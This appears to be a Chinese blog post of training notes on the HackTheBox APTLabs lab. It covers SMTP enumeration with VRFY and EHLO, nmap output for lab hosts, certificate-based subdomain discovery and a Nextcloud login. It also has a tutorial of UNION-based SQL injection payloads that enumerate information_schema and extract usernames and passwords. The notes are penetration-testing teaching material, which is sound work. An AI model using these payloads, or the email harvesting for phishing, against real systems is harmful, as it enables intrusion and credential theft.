目 录CONTENT

文章目录

HTB靶场-APTLabs-20240928

Administrator
2025-03-06 / 0 评论 / 0 点赞 / 6 阅读 / 0 字

一:进度

1. 课程进度与目标

  • 继续完成剩余主机/端口的漏洞评估

    • 特别提到了先前关注的 7788 两台机器,以及其中留下的尚未深入的端口/服务。

    • 对 74 机器的 25 端口进行交互性测试

      • 这部分牵涉到一个小专题:SMTP 协议及其后续在“发邮件或钓鱼”场景下的使用。

    • 对 88 机器存在的 SQL 注入可能性做进一步探讨

      • 明确指出 88 机器上发现的服务存在注入点,但之前并未做具体测试。这部分将开启一个“SQL 注入专题”。

    • 此外还提到:“由于服务器最近做了更新,部分扫描结果和之前文档中的旧版本对不上,需要以本次新的扫描和演示为准。”

2. 剩余漏洞评估的范围

  • 主要内容

    • 之前已看过 7788 的部分服务,但保留了两个关键端口/漏洞点尚未深挖:

      • 74 机器的 25 端口(即 SMTP 端口)。

      • 88 机器与 SQL 注入专题相关的服务。

    • 本次直播将重点涵盖:

      1. 74 机器 25 端口:了解 SMTP 协议的基础交互,并为后续频繁要用到的邮件交互或钓鱼做准备。

      2. 88 机器的 SQL 注入:进入一个较深入的注入话题,尤其是针对如何判断注入、如何绕过过滤、如何在数据库信息架构(information schema)中寻找目标数据等。


二:74 机器的 25 端口(SMTP 专题引入)

本部分是课程里重点展开的“SMTP/ESMTP 协议与渗透用途”的知识块

1. 基本扫描信息

  • 主要内容

    • 扫描 74 机器得到以下端口开放:

      • 22(SSH),已看过其 Banner,但版本信息与此前历史文档略有差异,因为服务器更新导致 Banner 可能会出现变化。

      • 25(SMTP),尚未做交互测试。

    • 由于近期服务器进行了更新,所以扫描时可能与过去出现的 Banner 不同,攻击面核心并未变化,但个别端口或版本信息会出现新差异。

2. Telnet 连接 25 端口的初步交互

  • 主要内容

    • 通过 telnet 10.1.1.74 25 或者 nc 10.1.1.74 25 等方式连接 SMTP 服务器,观察其返回的 Banner

    • 常见可能出现的延迟:

      • 有时 SMTP 服务器在用 telnet 或 netcat 连接时,最初会停顿几秒才返回欢迎信息,不要以为没反应就立即断开。

      • 退出时,可使用 Ctrl + ](右方括号)进入 telnet 的命令行模式,再输入 quit

    • 收到的 Banner 显示:ESMTP Postfix ...

      • ESMTP = Extended SMTP(扩展 SMTP 协议),说明此服务器支持多种额外特性。

      • Postfix = 当今比较流行的邮件传输代理(MTA),常用来替代旧的 sendmail。

3. SMTP/ESMTP 协议概念与历史

  • 主要内容

    • SMTP(Simple Mail Transfer Protocol)是最基础广泛使用的邮件传输协议,承担电子邮件路由与传输功能。

      • 不存储邮件:SMTP 只负责在服务器间转发邮件,真正存储邮件需要 POP3IMAP 等协议来完成。

      • 现代企业或公共邮箱(如 Gmail、163、QQ 邮箱等)依旧在底层使用 SMTP/ESMTP。

    • ESMTP 是对 SMTP 的扩展,支持更多指令与特性(如对邮件大小限制的协商、队列、验证等)。

    • 老旧的 sendmail 存在很多历史遗留漏洞,有时在物联网或老旧系统中依旧可见。

    • Postfix 广泛应用,且支持同时以 SMTP 或 ESMTP 方式对外提供服务。

4. SMTP 状态码与返回信息

  • SMTP 状态码对照表

    状态码

    类别

    含义

    250

    成功

    请求的操作成功完成,例如邮件成功传递到目的地。

    252

    用户无法验证但接受邮件

    无法验证用户,但会接受邮件并尝试传递。

    211

    系统状态/帮助消息

    返回服务器的状态信息或帮助消息。

    214

    帮助消息

    返回帮助信息。

    220

    服务准备好

    服务器准备好开始通信。

    221

    服务关闭传输通道

    关闭 SMTP 连接。

    354

    开始邮件输入

    服务器准备好接收邮件内容,结束标记为“.”。

    421

    服务不可用

    服务暂时不可用,通常是由于服务器负载过大。

    450

    邮件操作未完成

    邮件未传递成功,通常是由于邮箱暂时不可用。

    451

    请求操作异常终止

    操作由于服务器错误(如系统超载)而中止。

    452

    系统存储不足

    系统存储空间不足,无法完成邮件操作。

    500

    语法错误

    命令语法错误,服务器无法识别此命令。

    501

    参数语法错误

    命令参数有误。

    502

    命令未实现

    服务器不支持此命令。

    503

    错误的命令顺序

    命令顺序不正确(例如 HELO 后未发送)。

    504

    命令参数未实现

    服务器不支持命令的某些参数。

    550

    请求操作未执行

    邮件操作失败,通常是由于邮箱不可用或权限不足。

    551

    用户非本地,请转发

    收件人不是本地用户,建议将邮件转发到另一个地址。

    552

    超出存储分配

    邮件内容太大,服务器无法处理。

    553

    邮件地址不合法

    发件人或收件人的邮箱地址格式错误。

    554

    操作失败

    请求操作失败,通常是由于拒绝策略或反垃圾邮件配置引起的。

    这样更清晰,你可以直接参考!

    • SMTP 的三位数字状态码含义,可与 HTTP 协议的 2xx/3xx/4xx/5xx 异曲同工,只是具体码值不完全一致。

5. 常见 SMTP 扩展指令

  • 主要内容


    这些 250 开头的响应代码是 SMTP 服务器在 EHLO(Extended Hello)命令后返回的服务器能力列表。它们表示服务器支持的 SMTP 扩展功能,具体解释如下:

    状态码

    含义

    250-nextcloud

    服务器标识,可能表示 SMTP 服务器与 Nextcloud 集成,或者是自定义 SMTP 服务器。

    250-PIPELINING

    允许客户端批量发送多个 SMTP 命令,而无需等待服务器的逐个响应,提高效率。

    250-SIZE 10240000

    服务器支持的邮件最大大小(此处 10,240,000 字节,即约 10MB)。

    250-VRFY

    服务器支持 VRFY 命令,用于验证邮箱地址是否存在。

    250-ETRN

    服务器支持 ETRN 命令,允许客户端请求服务器释放排队的邮件。

    250-ENHANCEDSTATUSCODES

    服务器支持扩展状态码,提供更详细的错误或状态信息。

    250-8BITMIME

    服务器支持 8-bit MIME 编码,可发送包含 8-bit 字符的邮件(如非 ASCII 语言的邮件)。

    250-DSN

    服务器支持投递状态通知(Delivery Status Notification),允许邮件发送者请求回执。

    250-SMTPUTF8

    服务器支持 UTF-8 编码的电子邮件地址(国际化电子邮件地址)。

    250 CHUNKING

    服务器支持 CHUNKING 扩展,允许分块传输邮件数据,以提高传输效率。

    这些扩展特性让 SMTP 服务器能支持更高级的邮件功能,例如优化数据传输、增强错误信息、支持多字节字符等。你可以通过 EHLO 命令获取这些扩展信息,确保邮件客户端或服务器正确配置。

    • 当输入 EHLO <任意标识> 时,服务器会返回一连串 250-... 扩展特性:

      • PIPELINING:管线化执行,允许客户端在等待上一个命令响应前先发多个 SMTP 命令。

      • SIZE <数值>:该服务器允许发送的邮件大小上限(如 10240000 字节约 10M)。

      • VRFY:可验证邮箱地址是否存在。

      • ETRN:客户端可请求服务器进行队列投递等操作。

      • ENHANCEDSTATUSCODES:表示服务器可返回拓展状态码。

      • SMTPUTF8:支持 UTF-8 编码邮件。

6. VRFY 命令与信息收集用途

  • 主要内容

    • VRFY <邮箱地址>:用于验证目标邮箱在此 SMTP 服务器上是否有效。

    • 实际测试:

      • 对不存在的邮箱(比如瞎写的),服务器常返回 550 5.1.1 <User unknown> 或类似拒收信息。

      • 如果服务器配置里允许 VRFY(有些服务器会禁用),就能根据返回码区分哪些地址有效。

    • 渗透测试用途:

      1. 收集有效邮箱:可用于社工钓鱼、后续爆破或撞库。

      2. 确认服务器配置:判断 Postfix/SENDMAIL 是否开启严格验证。

      3. 可能存在的漏洞:早年 SENDMAIL 曾出现过远程溢出或提权漏洞,需搜寻对应版本。

7. SMTP 在渗透中的综合价值

  • 主要内容

    1. 利用服务器自身的漏洞

      • 需进一步枚举 Postfix 具体版本,查询公开漏洞数据库(Searchsploit、Google、GitHub 等)看是否可用。

    2. 收集信息

      • 横向收集内部用户名、邮箱、邮件配置等。

    3. 钓鱼和发件

      • 有 SMTP 权限时,可直接伪造企业内部发件地址,提升钓鱼成功率。

      • 不过在真实环境下,渗透者常自行搭建外部邮件服务器,也可能无需利用目标 SMTP,但此处“靶场”场景需要你对其原理非常熟悉,为后续模拟真实内部邮件发送做准备。


三:88 机器与 SQL 注入专题的引入

在 88 端口上发现疑似存在 SQL 注入的功能,需要正式开启“SQL 注入”专题

绕过?这种事。绕过和免杀一样。在谜底没揭晓之前,你尽可能有思维方式,这才有价值的。

1. 回顾对 88 的初步观察

  • 主要内容

  • 88 端口提供了一个 Web 服务(之前已发现域名或 CMS 可能疑似第三方建站程序)。

    1

    1翻译

  • 提示:此处有 SQL 注入点,需要一个较深入且系统化的注入话题来展开。

2. 常见SQL注入与基础命令

  • 基本SQL注⼊(⼿⼯) 假设我们在 redteamnotes.com 的⼀个搜索⻚⾯执⾏ SQL 注⼊。URL 是:

    http://redteamnotes.com/search.php?query=abc

    该⻚⾯的后台 SQL 查询可能是:

    SELECT title, description FROM products WHERE name = 'abc';

    如果参数 query 没有进⾏适当的过滤和转义,这个⻚⾯可能会存在 SQL 注⼊漏洞。

  • 第⼀步:测试列数(⽅法⼀: ORDER BY 测试)

    为了开始注⼊,我们⾸先要确定 SQL 查询中返回的列数。可以通过 ORDER BY 语句来测试查询中列的数量。例如:

    http://redteamnotes.com/search.php?query=abc' ORDER BY 1--

    ⻚⾯正常返回,说明⾄少有 1 列。我们继续增加列号:

    http://redteamnotes.com/search.php?query=abc' ORDER BY 2--

    如果⻚⾯继续正常显示,说明⾄少有 2 列。我们继续增加列号:

    http://redteamnotes.com/search.php?query=abc' ORDER BY 3--

    如果到 ORDER BY 4 时⻚⾯出现错误,说明查询中只有 3 列。因此,我们推测这个查询中可能返回 3 列数据。

  • 第⼆步:验证列数(⽅法⼆: UNION + NULL 测试) 为了验证我们推测的列数,我们可以使⽤ UNION SELECT NULL 来测试是否成功匹配列数。因为 NULL可以适⽤于任意类型的列,所以我们可以使⽤ NULL 来逐步测试:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT NULL, NULL, NULL--

    如果⻚⾯正常显示,说明 3 列的推测是正确的。如果我们增加⼀列,例如:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT NULL, NULL, NULL, NULL--

    此时如果⻚⾯报错,说明列数超出,确认 3 列是正确的。

  • 第三步:通过 AND 1=2 检查结构(⽅法三) 接下来,我们可以通过 AND 1=2 构造⼀个始终为假的条件,确保 UNION SELECT 查询的列数正确,并不会破坏⻚⾯的整体结构。因为 1=2 永远为假,不会返回任何数据:

    http://redteamnotes.com/search.php?query=abc' AND 1=2 UNION SELECT 1, 2, 3--

    此时,如果⻚⾯的结构正常显示但没有数据返回,说明我们确认了列数为 3。如果⻚⾯报错,说明列数不匹配,需要调整。

  • 第四步:利⽤报错信息(⽅法四) 有时⽬标应⽤程序会返回有⽤的错误信息,帮助我们确认列数。我们可以尝试输⼊带有错误的注⼊语句:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, 2--

    如果出现类似的错误提示:

    The used SELECT statements have a different number of columns.

    这种信息直接告诉我们列数不匹配。我们可以继续增加列数,直到错误消失:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, 2, 3--

    当⻚⾯正常显示时,列数就是 3。

  • 第五步:通过布尔盲注验证(⽅法五) 在布尔盲注的场景下,我们可以通过观察⻚⾯的响应变化来确认列数。假设我们执⾏以下注⼊:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, 2--

    如果⻚⾯的响应和正常⻚⾯⼀致,说明列数不对。如果不⼀致,我们可以继续尝试:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, 2, 3--

    当⻚⾯响应正常时,说明列数为 3。

  • 第六步:使⽤ GROUP BY 测试(⽅法六) 最后,我们也可以使⽤ GROUP BY 来确定列数。通过逐步增加 GROUP BY 的列,直到⻚⾯报错为⽌:

    http://redteamnotes.com/search.php?query=abc' GROUP BY 1--

    ⻚⾯正常显示,我们继续增加:

    http://redteamnotes.com/search.php?query=abc' GROUP BY 1, 2--

    当⻚⾯在 GROUP BY 1, 2, 3 时正常显示,⽽ GROUP BY 1, 2, 3, 4 报错时,说明列数为 3。

  • 最终验证:使⽤ UNION 获取数据

    确定列数为 3 后,我们可以使⽤ UNION 来获取实际的数据。⽐如获取当前数据库的名称:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, database(), 3--

    如果第⼆列的结果可⻅,⻚⾯会返回当前数据库的名称。

    进⼀步列出数据库中的表名:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE
    table_schema=database()--

    这将列出当前数据库中的所有表。

    要列出某个表中的列名,例如 users 表,可以执⾏:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE
    table_name='users'--

    这会列出 users 表中的所有列名。

    • 绕过字符过滤、编码、大小写、特殊关键字等

    • 基于错误回显的注入、盲注、二阶注入(second-order)

    • 不同数据库(MySQL、PostgreSQL、MSSQL 等)之间的注入差异

    • 如何在实战中规避安全设备、WAF 等的过滤

    • 最后还会讨论各种防御思路,帮助蓝队也了解可能的安全加固方式。

3. SQL 注入中 information_schema 使用示例

1. information_schema 表利⽤

information_schema 是 MySQL、MariaDB、PostgreSQL 等数据库系统中⾮常重要的系统数据库,它包含了关于数据库、表、列等元数据信息。 当我们进⾏ SQL 注⼊时,通过访问 information_schema 可以枚举出数据库中的表名、列名、约束等信息。这是获取数据库结构信息的主要⽅式之⼀。

下⾯我将详细解释 information_schema 的各个常⽤表,并展示如何在 SQL 注⼊中使⽤这些表来枚举数据库的信息。

常⽤的 information_schema 表:

  1. information_schema.tables :该表存储了数据库中的所有表信息。常⽤的列有:
    table_schema :表所属的数据库。
    table_name :表的名称。
    table_type :表的类型( BASE TABLE 或 VIEW )。

  2. information_schema.columns :该表存储了所有表的列信息。常⽤的列有:
    table_schema :列所属的数据库。
    table_name :列所属的表。
    column_name :列的名称。
    data_type :列的数据类型。

  3. information_schema.schemata :该表存储了数据库的信息。常⽤的列有:
    schema_name :数据库的名称。

  4. information_schema.key_column_usage :该表存储了表中主键和外键的列信息。
    constraint_name :约束名称。
    table_name :列所属的表名。
    column_name :列名。

2. SQL 注入中 information_schema 使用示例

假设我们已经通过 SQL 注⼊进⼊了⽬标⽹站 redteamnotes.com ,并知道了查询的列数(例如 3 列)。我们可以通过访问 information_schema表来获取数据库和表的结构信息。

  1. 枚举数据库名称
    通过查询 information_schema.schemata,我们可以列出所有数据库的名称:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata--

    这样⻚⾯会显示所有数据库的名称。如果查询正常,⻚⾯会返回所有数据库,⽐如:
    information_schema
    mysql
    redteam_db (⽬标数据库)

  2. 枚举表名
    确定⽬标数据库(如 redteam_db )后,我们可以从 information_schema.tables 表中列出该数据库中的所有表名:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='redteam_db'--

    这将返回 redteam_db 数据库中的所有表名,⽐如:
    users
    orders
    products

  3. 枚举列名
    确定了感兴趣的表(如 users 表)后,我们可以使⽤ information_schema.columns 来列出 users 表中的列名:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--

    这样我们就能看到 users 表中的列名,⽐如:
    id
    username
    password
    email

  4. 获取特定列的详细信息
    通过 information_schema.columns ,我们还可以查询特定列的更多详细信息,例如数据类型:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, data_type FROM information_schema.columns WHERE table_name='users'--

    ⻚⾯会返回 users 表中每个列的类型信息,⽐如:
    id - int
    username - varchar
    password - varchar

  5. 枚举表的主键
    通过 information_schema.key_column_usage ,我们可以查看某个表的主键:

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, constraint_name FROM information_schema.key_column_usage WHERE table_name='users' AND constraint_name='PRIMARY'--

    这将列出 users 表中的主键列,⽐如:

    id

综合示例

SQL 注⼊中的 information_schema 使⽤ 假设我们通过 SQL 注⼊成功访问了⽬标⽹站的数据库,我们希望获取所有⽤户的⽤户名和密码信息。我们可以按以下步骤进⾏:

  1. 枚举数据库:通过查询 information_schema.schemata 获得所有数据库的名称。

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata-- -
  2. 列出数据库中的表:假设⽬标数据库名为 redteam_db ,我们可以列出其下所有表的名称。

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='redteam_db'--
  3. 枚举感兴趣表的列:假设我们发现了 users 表,通过查询 information_schema.columns 列出 users 表中的所有列名。

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--
  4. 提取数据:通过已经获取到的列名(如 username 和 password ),我们可以直接从 users 表中提取数据。

    http://redteamnotes.com/search.php?query=abc' UNION SELECT 1, username, password FROM users--

    information_schema 是渗透测试中⽤于枚举数据库结构的⾮常重要的⼯具。通过它,可以获取数据库中的表、列、键、约束等元数据信息。在SQL 注⼊攻击中,掌握 information_schema 的使⽤技巧,能够帮助我们迅速定位⽬标数据并展开后续的渗透测试操作。

3. information_schema 表各数据库的适用情况

MySQL、MariaDB和 PostgreSQL都有 information_schema 表。这是 SQL 标准定义的⼀部分,⽤于提供数据库的元数据信息,包含关于数据库、表、列、约束等的详细信息,红队攻击时可⽤于获取数据库的结构和配置等元数据。

  1. MySQL
    MySQL 从 5.0 版本开始引⼊了 information_schema ,⽤于提供对数据库元数据的访问。
    常⽤的元数据表包括:
    schemata :存储数据库的列表。
    tables :存储所有数据库中的表的信息。
    columns :存储表中的列的信息。

  2. MariaDB

    MariaDB 是 MySQL 的⼀个分⽀,基本上与 MySQL 完全兼容,因此 MariaDB 也包含了 information_schema ,并且与 MySQL 的⽤法⼀致。

    MariaDB 提供的 information_schema ⽤于访问数据库的元数据信息。Percona Server 也是 MySQL 的⼀个分⽀,继承了 MySQL 的元数据功能, 因此它也包含 information_schema 。

  3. PostgreSQL
    PostgreSQL 同样⽀持 information_schema ,并且是完全遵循 SQL 标准的。PostgreSQL 的information_schema 提供与 MySQL 和 MariaDB 类似的功能,包括访问数据库、表、列等信息。PostgreSQL 的元数据表也有类似:

    information_schema.schemata :列出所有的 schema(类似于 MySQL 的数据库)。
    information_schema.tables :列出所有表。
    information_schema.columns :列出表中的列信息。

    除了 MySQL、MariaDB 和 PostgreSQL,还有其他数据库系统也或多或少⽀持 information_schema ,详细说明如下:

  4. Microsoft SQL Server
    SQL Server 从 2005 版本开始⽀持 information_schema 。与其他数据库类似,它也提供了查询元数据的⽅式,⽤于列出数据库、表、列等信息。不过,SQL Server 也有⾃⼰特定的系统视图(如 sys.tables 、 sys.columns ),功能⽐ information_schema 更强⼤。

  5. Oracle
    Oracle 数据库并不使⽤ information_schema 。Oracle 有⾃⼰的⼀套数据字典视图(如DBA_TABLES 、 ALL_TABLES 、 USER_TABLES 等)来管理元数据。Oracle 的数据字典提供了⽐ information_schema 更丰富的功能。

  6. SQLite
    SQLite 没有完整的 information_schema ,但它有类似的 sqlite_master 表,该表提供了数据库内所有表、索引、视图和触发器的信息。尽管没有标准的 information_schema ,但 sqlite_master 表的作⽤与之类似。

  7. IBM Db2
    IBM Db2 数据库也实现了 information_schema 。与其他数据库⼀样,Db2 的information_schema 提供了数据库、表和列的元数据访问。

    总之,数据库系统中, information_schema 是 SQL 标准的⼀部分,⼴泛⽤于 MySQL、MariaDB、PostgreSQL、Microsoft SQL Server 和 IBM Db2 等数据库中。尽管 Oracle 和 SQLite 没有完整的 information_schema ,它们仍然提供了类似功能的系统视图或表⽤于管理数据库的元数据。 不同数据库的 information_schema 可能略有差异,但其核⼼功能都是相同的——提供有关数据库结构和元数据的信息,帮助渗透测试⼈员和红队 了解数据库的内部结构。

后续10⽉8⽇及当周进度

  • sql注⼊专题:注⼊绕过、盲注、错误注⼊、⼆阶注⼊、NoSQL注⼊(内容体量⼤,未必⼀次讲完。)

  • 10.10.110.88的SQL注⼊实操和新进度下的漏洞评估、攻防思路分析。(10⽉12⽇周六⼀定会完成这个 进度) 拓展的内容都会按排在周⼆,周六⼀定是实操进度,不会因拓展影响进度。所以,⼤家⼀定要坚持进度主线

4. SQL 注入专题教学规划

  • 主要内容

    • 课程笔记中提到将分为好几个小节,非常深入

      • 字符绕过

        • 讲解如何应对常见拦截或转义,以及常见“单引号变形”“关键字替换”策略。

      • 基于错误回显的注入

        • 如何利用数据库报错信息获取敏感数据。

      • 二阶注入

        • 先将恶意 Payload 存于某处(数据库),在后续其他 SQL 语句执行时才被触发。

      • 不同数据库版本下的注入区别

        • MySQL、PostgreSQL、MSSQL、Oracle、SQLite 等都可能有特定的关键字、函数、注释方式或版本差异。

      • 盲注

        • 不返回明显错误信息或数据回显时,通过时间延迟或布尔判断推断内部数据。

      • 最后:如何在代码层面防止注入(虽然是蓝队话题,但红队也需要知道其原理和常见漏洞点)。

    • 讲师强调:最有价值的是理解思路。如果只拿到一个“固定绕过字符”,那只是碰巧知道,离真正“举一反三”差很远。


四:对其余机器(如 231 与 242)扫描结果的分析

此部分围绕剩余尚未详细讨论的主机:231242 的端口扫描与可能的域名解析做了深入说明。

1. 231 机器的扫描与证书信息

1.1 扫描与发现的服务

  • 主要内容231 只开放了 443 端口,是一个开启了 SSL/TLS 的 Apache 服务器。

    ┌──(root㉿kali)-[~/Desktop/APTLabs]
    └─# nmap --min-rate 10000 -p- 10.10.110.231
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 06:56 EST
    Nmap scan report for 10.10.110.231
    Host is up (0.24s latency).
    Not shown: 65534 filtered tcp ports (no-response)
    PORT    STATE SERVICE
    443/tcp open  https
    
    Nmap done: 1 IP address (1 host up) scanned in 16.46 seconds

    ┌──(root㉿kali)-[~/Desktop/APTLabs]
    └─# nmap -sT -sC -sV -O -p443 10.10.110.231
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 08:06 EST
    Nmap scan report for 10.10.110.231
    Host is up (0.42s latency).
    
    PORT    STATE SERVICE  VERSION
    443/tcp open  ssl/http Apache httpd 2.4.52 ((Ubuntu))
    | tls-alpn: 
    |_  http/1.1
    |_http-server-header: Apache/2.4.52 (Ubuntu)
    |_ssl-date: TLS randomness does not represent time
    |_http-title: 400 Bad Request
    | ssl-cert: Subject: commonName=0x0security.com/organizationName=GiganticHosting CA/stateOrProvinceName=Stockholm/countryName=SE
    | Subject Alternative Name: DNS:0x0security.com, DNS:*.0x0security.com
    | Not valid before: 2024-07-16T15:39:00
    |_Not valid after:  2026-07-16T00:00:00
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
    No OS matches for host
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 53.50 seconds




    Robert,product expert robert@0x0security.com
    Ralph,business dealer Ralph@0x0security.com
    Emma,business manager Emma@0x0security.com
    Mark,sales manager Mark@0x0security.com


  • 拿到服务的证书时,发现证书中包含了:

    • 颁发机构:gigantic hosting CA(自签?靶场内网自建 CA)

    • 绑定域名中,出现了 *.security.xxx 或者类似泛域名。

    • 另有域名 nextcloud.xxxxstorage.xxxx 等在证书中。


      image-kpuz.png

      这里的CA证书是10.10.110.62:8080/admin那台Django administrator机器管理的

  • 这些证书信息通常非常可靠,往往会暴露真实域名或者内部域名。

  • 讲师再次提醒:在真实环境中,查看目标证书字段是信息收集的关键

1.2 浏览器访问与业务信息

  • 主要内容

    • 访问 https://10.10.110.231 会出现一个业务站点——0x0security.com 之类内容(示例)。

    • 站点上可能展示公司简介、专家团队、邮箱地址,或客户反馈等信息。

    • 渗透测试意义

      1. 收集人名与邮箱:便于未来进行定向社工、碰撞、钓鱼。

      2. 分析是否使用常见 CMS:WordPress、Joomla、国产 CMS、或定制开发网站。

      3. 验证站点功能:登录表单?查询功能?有无注入?

    • 网页下方若有提交表单(如“联系我们”),也要检查潜在 XSS/SQL 注入等。

1.3 与 DNS 解析相关

  • 主要内容

    • 从之前 13 号机器提供的 DNS 列表可见许多子域名。针对 231 这台机器,需要配合主机头或本地 hosts 解析去访问不同域名,看是否有多站点共用同一 IP

    • 例如:storage.0x0security.comnextcloud.0x0security.com 都可能指向 10.10.110.231

    • 此步骤:将这些子域名加进本地 hosts,再用浏览器访问对应域名,可发现隐藏或子路由站点。

2. Next Cloud 发现与初步分析

2.1 Next Cloud 的由来

  • 内容:通过在本地 hosts 增加解析:

10.10.110.231   0x0security.com
10.10.110.231   nextcloud.0x0security.com
10.10.110.231   storage.0x0security.com

为什么要解析到231这台机器上,不能使用别的机器,首先,解析到的主机要有WEB服务要不然你解析没用,那别的机器呢

10.10.110.2:80 和 10.10.110.2:443
10.10.110.13:80 和 10.10.110.13:443---开放了443
10.10.110.21:80 和 10.10.110.21:443
10.10.110.50:80 和 10.10.110.50:443
10.10.110.62:80 和 10.10.110.62:443
10.10.110.74:80 和 10.10.110.74:443
10.10.110.88:80 和 10.10.110.88:443---开放了80
10.10.110.231:80 和 10.10.110.231:443---开放了443---Welcome to 0x0 Security
10.10.110.242:80 和 10.10.110.242:443---开放了80---Gigantic Hosting---VPS服务商

13是PowerGLSB
88是一个数据库检索站点
231是公司团队介绍
242是VPS服务商

看完后你应该就知道了吧


然后访问对应域名,看到一个 Next Cloud 登录页面。


  • Next Cloud:是一款私有云存储软件,常用于文件共享、协作等。说明该企业可能内部存储很多资料在此。

  • 对渗透测试的启示:

    • 云端存储很可能包含机密信息。若能拿下 Next Cloud,可能拿到文档、凭证、内部资料。

    • 检查是否存在已知漏洞:例如越权访问、CSRF、弱密码、版本缺陷等。

  • 课程演示提到:

    • 登录界面可能配置了双因素验证(2FA)。

    • 仅用暴力爆破用户名/密码,很可能会遇到锁定或强验证,难度较大。

  • 讲师提示:最终靶场中,Next Cloud 可能还是一个有效突破口,但需要合理的思路排序、密码获取或其他漏洞链的结合。

3. 242 机器扫描与业务站点

  • 内容

  • 242 机器只开放了 80 端口,运行 Apache。

  • 站点为MSP(Managed Service Provider,托管服务提供商)

┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# nmap --min-rate 10000 -p- 10.10.110.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 10:47 EST
Nmap scan report for 10.10.110.242
Host is up (0.58s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 19.43 seconds

┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# nmap -sT -sC -sV -O -p80 10.10.110.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 10:47 EST
Nmap scan report for 10.10.110.242
Host is up (1.0s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Unix))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.41 (Unix)
|_http-title: Gigantic Hosting | Home
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.44 seconds
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# nmap --script=vuln -p80 10.10.110.242  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 10:49 EST
Nmap scan report for 10.10.110.242
Host is up (0.50s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 172.17.0.2
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.110.242
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://10.10.110.242:80/support.html
|     Form id: 
|_    Form action: https://10.13.38.16/contact-post.html
| http-enum: 
|   /css/: Potentially interesting folder w/ directory listing
|   /images/: Potentially interesting folder w/ directory listing
|_  /js/: Potentially interesting folder w/ directory listing
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Nmap done: 1 IP address (1 host up) scanned in 359.02 seconds

2:10:33

  • 访问后发现站点内容类似一个“尚未完成”或模板站点,看起来并无多少实质信息,仅有占位符文本或简单企业介绍。

  • 同样在页面可能看到若干邮箱:如 sales@xxxnews@xxx 等,都需要记录以便后续信息收集。

  • 子域名扫描/主机头测试未发现更多有价值的目录或应用。

  • 结论:该站点暂时攻击面不大,但所有信息(邮箱、人员名录)仍需保存,以备将来在钓鱼场景或更深的社工中使用。


五:回顾所有信息收集与下一步分析

此段为课程对当前所有外部暴露面(13、74、88、231、242、62、其他提到过的机器)进行综合回顾

1. 已发现的重要点

  1. 74

    • 25 端口(SMTP):可验证邮箱、ESMTP 扩展命令,潜在钓鱼发送或账号探测。

    • 22 端口:尚无明显弱口令。

  2. 88

    • Web 服务可能存在 SQL 注入。

    • 需要配合“注入专题”深入。

  3. 13

    • DNS 服务器,曾拿到一些信息,含大量子域名。

    • 还发现存在 Jangle Admin 后台(62 机器?)等,但尚无凭证登录。

  4. 231

    • HTTPS,证书中透露出域名 nextcloud.xxxstorage.xxx

    • 访问后确认是 Next Cloud 私有云,可能是突破口但带有 2FA 等复杂防护。

  5. 242

    • HTTP,简单模板业务站点,信息量不大。

2. 渗透测试脉络

  • 主要内容

    • 目前手里虽掌握了大量网络与服务信息,但尚未获得明确可直接利用的高权限凭证。

    • 讲师指出:真实攻防中若外部主机没有明显漏洞时,就需要转向**“社会工程”“钓鱼”**策略,或者深挖某些较复杂的漏洞(例如注入绕过、二阶注入等)。

    • 靶场后续环节会基于以上思路做进一步演示:

      • SMTP+邮箱:发起钓鱼的可行性。

      • SQL 注入:利用 88 机器做信息泄露与数据库提权。

      • Next Cloud:若在后续阶段获取到某些内部员工密码,可尝试登录验证。

